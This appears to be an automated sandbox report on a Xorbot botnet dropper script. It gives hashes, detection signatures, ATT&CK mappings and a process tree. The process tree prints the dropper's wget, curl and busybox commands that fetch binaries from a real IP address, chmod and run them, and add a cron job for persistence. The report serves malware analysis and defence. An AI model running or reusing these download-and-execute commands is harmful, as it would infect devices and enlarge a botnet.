xorbot | 3834d56135a19fc601d4252949bb011454c1828c90b6f3ba915162f80a4c26d2

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
05/01/2025, 12:38

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General

Target

bins.sh
Size

10KB
MD5

5f1add3f8fbab9fd93e013e59c20d522
SHA1

fbe2edefe96a086a75c63a4f9b623d3f93ae1609
SHA256

3834d56135a19fc601d4252949bb011454c1828c90b6f3ba915162f80a4c26d2
SHA512

4713f68752b19d07deb1f8cf3dcac70af440535d7bf5b39c870c692bdbfa3af879327748ac0b7ed7752f4083eff685217eb2d93184e4aa4eb77df5a9c1a53fad
SSDEEP

192:F7zrAUrvoJlryIlXE+EWEkEREdEHpOuhRE+EWEkEREdE+RJlryIlC7zrAUs:NvikpOuh73D

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 4 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot
behavioral1/files/fstream-7.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1970) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1526	chmod
1533	chmod
1540	chmod
1547	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD	1527	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
/tmp/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv	1534	CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
/tmp/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub	1541	oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
/tmp/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ	1548	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ

Renames itself 1 IoCs

pid	Process
1549	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.b2TPmI	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1595/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1637/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1675/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/269/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1099/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1627/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1712/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/445/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/464/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1589/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1593/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1611/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1666/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/19/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/175/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1691/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/164/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/933/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1616/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/162/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1620/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1625/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/730/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1597/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1650/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1694/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1200/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1623/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1621/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1685/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1717/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1721/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1596/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1602/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1260/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1295/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1557/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1713/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1728/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/34/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/420/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1702/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/243/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1603/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1148/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1565/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1641/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/2/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1079/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1561/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1669/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/11/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/161/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/674/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1161/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1677/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1700/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1707/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/84/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/455/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/692/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1205/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
File opened for reading	/proc/1363/cmdline	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv	curl
File opened for modification	/tmp/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub	curl
File opened for modification	/tmp/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub	busybox
File opened for modification	/tmp/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ	wget
File opened for modification	/tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD	wget
File opened for modification	/tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD	curl
File opened for modification	/tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD	busybox
File opened for modification	/tmp/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv	wget
File opened for modification	/tmp/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv	busybox
File opened for modification	/tmp/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub	wget
File opened for modification	/tmp/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ	curl
File opened for modification	/tmp/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1518
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1519
- /usr/bin/wget
  wget http://66.63.187.225/bins/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  2⤵
  - Writes file to tmp directory
  PID:1520
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  2⤵
  - Writes file to tmp directory
  PID:1524
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  2⤵
  - Writes file to tmp directory
  PID:1525
- /bin/chmod
  chmod 777 Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  2⤵
  - File and Directory Permissions Modification
  PID:1526
- /tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  ./Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  2⤵
  - Executes dropped EXE
  PID:1527
- /bin/rm
  rm Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  2⤵
  PID:1529
- /usr/bin/wget
  wget http://66.63.187.225/bins/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
  2⤵
  - Writes file to tmp directory
  PID:1530
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
  2⤵
  - Writes file to tmp directory
  PID:1531
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
  2⤵
  - Writes file to tmp directory
  PID:1532
- /bin/chmod
  chmod 777 CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
  2⤵
  - File and Directory Permissions Modification
  PID:1533
- /tmp/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
  ./CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
  2⤵
  - Executes dropped EXE
  PID:1534
- /bin/rm
  rm CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
  2⤵
  PID:1536
- /usr/bin/wget
  wget http://66.63.187.225/bins/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
  2⤵
  - Writes file to tmp directory
  PID:1537
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
  2⤵
  - Writes file to tmp directory
  PID:1538
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
  2⤵
  - Writes file to tmp directory
  PID:1539
- /bin/chmod
  chmod 777 oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
  2⤵
  - File and Directory Permissions Modification
  PID:1540
- /tmp/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
  ./oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
  2⤵
  - Executes dropped EXE
  PID:1541
- /bin/rm
  rm oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
  2⤵
  PID:1543
- /usr/bin/wget
  wget http://66.63.187.225/bins/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
  2⤵
  - Writes file to tmp directory
  PID:1544
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
  2⤵
  - Writes file to tmp directory
  PID:1545
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
  2⤵
  - Writes file to tmp directory
  PID:1546
- /bin/chmod
  chmod 777 eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
  2⤵
  - File and Directory Permissions Modification
  PID:1547
- /tmp/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
  ./eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1548
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1550
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1551
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1552
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1553
- /bin/rm
  rm eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
  2⤵
  PID:1555
- /usr/bin/wget
  wget http://66.63.187.225/bins/A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
  2⤵
  PID:1558

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/var/spool/cron/crontabs/tmp.b2TPmI

Filesize
210B

MD5
206ed2eefe23bf9eca4d86a67d73f98b

SHA1
656fa8ded7c28a1c02ac58d99e5c1f0bd9367cd0

SHA256
46e5a68df7b5c3dd322c7680b03e94f1f50a7f6bf27c714dbe7c85e494451685

SHA512
0e9933a2507eaa697308d4e4cb377b74c30fe473d2c41d55d06b0817027af423db8c3f6b8fde06a664617f5fb84c1a80cde748ced1b866151db947be726cf751

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads